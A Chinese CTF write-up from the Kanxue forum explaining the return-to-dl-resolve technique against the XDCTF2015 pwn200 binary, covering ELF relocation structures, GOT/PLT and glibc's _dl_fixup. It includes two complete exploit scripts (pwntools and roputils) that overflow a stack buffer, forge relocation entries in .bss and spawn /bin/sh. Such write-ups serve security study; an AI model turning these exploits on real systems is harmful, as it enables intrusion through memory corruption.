通过一道pwn题详细分析retdlresolve技术
看雪论坛作者ID:笔墨
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件,此值为虚拟地址
Elf32_Word r_info; // 符号表索引
} Elf32_Rel;
ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8
typedef struct
{
Elf32_Word st_name; // Symbol name(string tbl index)
Elf32_Addr st_value; // Symbol value
Elf32_Word st_size; // Symbol size
unsigned char st_info; // Symbol type and binding
unsigned char st_other; // Symbol visibility under glibc>=2.2
Elf32_Section st_shndx; // Section index
} Elf32_Sym;
Elf32_Sym[6]->st_name=0x4c(.dynsym + Elf32_Sym_size * num)
void vuln()
{
char buf[100];
setbuf(stdin, buf);
read(0, buf, 256);
}
int main()
{
char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf);
write(1, buf, strlen(buf));
vuln();
return 0;
}
GOT表属于数据段,是可写的。表中存储的是指针,PLT属于代码段,其中每一项都存储了三个汇编指令
GOT[0]:存放了指向可执行文件动态段的地址
GOT[1]:存放link_map结构的地址
GOT[2]:存放了指向动态链接器_dl_runtime_resolve()函数的地址
glibc-2.23/elf/dl-runtime.c:_dl_fixup()
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
// 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
// 最后把value写入相应的GOT表条目中
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}
read@plt
pop esi; pop edi; pop ebp; ret;
0
.bss
0x64
PLT[0] addr
offset:0x0804a040+0x18-0x8048330=0x1d28
.bss=0x0804a040 (fake_stack)
rel_plt = 0x08048330
dynsym = 0x080481d8
dynstr = 0x08048278
传入的fake_stack的数据如下:
偏移:内容
0x00:"/bin/sh\x00"
0x08:"AAAAAAAA"
0x10:"AAAAAAAA"
0x18:0x0804a054 // 本来应该是.got.plt的一个地址,这里填入fake_stack 的其中一个地址,完成_dl_fixup会将system地址填入其中
0x1c:p32(r_info) // 0x0804a040+0x28-0x080481d8 = 0x1e90 r_info=(((0x1f90)/0x10)<<8)|7=0x1f907 用于查找函数的符号、
0x20:"AAAAAAAA"
0x28:p32(st_name) p32(0x0) p32(0x0) p32(0x12) //存放.dynsym信息 以0x10单位存储,st_name=0x0804a040+0x38-0x08048278=0x1e00
0x38:"system"
from pwn import *
context.log_level = 'debug' #不开debug会显示报错
offset = 112
read_plt = 0x080483a0 # read@plt
ppp_ret = 0x08048619 # ROPgadget --binary bof --only "pop|ret" "pop esi; pop edi; pop ebp; ret;"
plt0_addr = 0x08048380 #plt[0]
bss_addr = 0x0804a040 # readelf -S bof | grep ".bss"
r = process('./xdctf-pwn200')
r.recvuntil('Welcome to XDCTF2015~!\n')
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(ppp_ret)
payload += p32(0)
payload += p32(bss_addr)
payload += p32(100)
payload += p32(plt0_addr)
payload += p32(0x1d28)
payload += 'A'*0x4
payload += p32(bss_addr) #需要填充/bin/sh的地址,不然system函数执行的参数是栈中其它数据。具体原因没有细调
#gdb.attach(r)
r.send(payload)
#raw_input()
cmd = "/bin/sh\x00"
payload2 = cmd
payload2 += 'A'*0x10
payload2 += p32(0x804a054)
payload2 += p32(0x1e907)
payload2 += 'A'*0x8
payload2 += p32(0x1e00)+p32(0)+p32(0)+p32(0x12)
payload2 += "system\x00"
r.send(payload2)
r.interactive()
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
context.log_level = 'debug'
binary = './xdctf-pwn200'
r = process(binary)
rop = ROP(binary)
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
# after using read to construct our symtab in .bss + 20, we use dl_resolve to call it
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
#gdb.attach(r)
r.send(buf)
#raw_input()
# over here we just fill in .bss with the data we need
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
r.send(buf)
r.interactive()
def align(self, addr, origin, size):
padlen = size - ((addr-origin) % size) // 这里对齐了,size=0x8
return (addr+padlen, padlen)
def plt(self, name=None):
if name:
return self.offset(self._plt[name])
else:
return self.offset(self._section['.plt'][0])
def dl_resolve_call(self, base, *args):
jmprel = self.dynamic('JMPREL')
relent = self.dynamic('RELENT')
addr_reloc, padlen_reloc = self.align(base, jmprel, relent)
reloc_offset = addr_reloc - jmprel
buf = self.p(self.plt()) //在这里是plt表头的地址
buf += self.p(reloc_offset) //REL.PLT表距bss段的偏移
buf += self.p(self.gadget('pop', n=len(args))) //system 函数的返回地址
buf += self.p(args) //'/bin/sh\0' 的地址
return buf
http://pwn4.fun/2016/11/09/Return-to-dl-resolve/
http://rk700.github.io/2015/08/09/return-to-dl-resolve/
https://github.com/inaz2/roputils
看雪ID:笔墨
https://bbs.pediy.com/user-589842.htm
推荐文章++++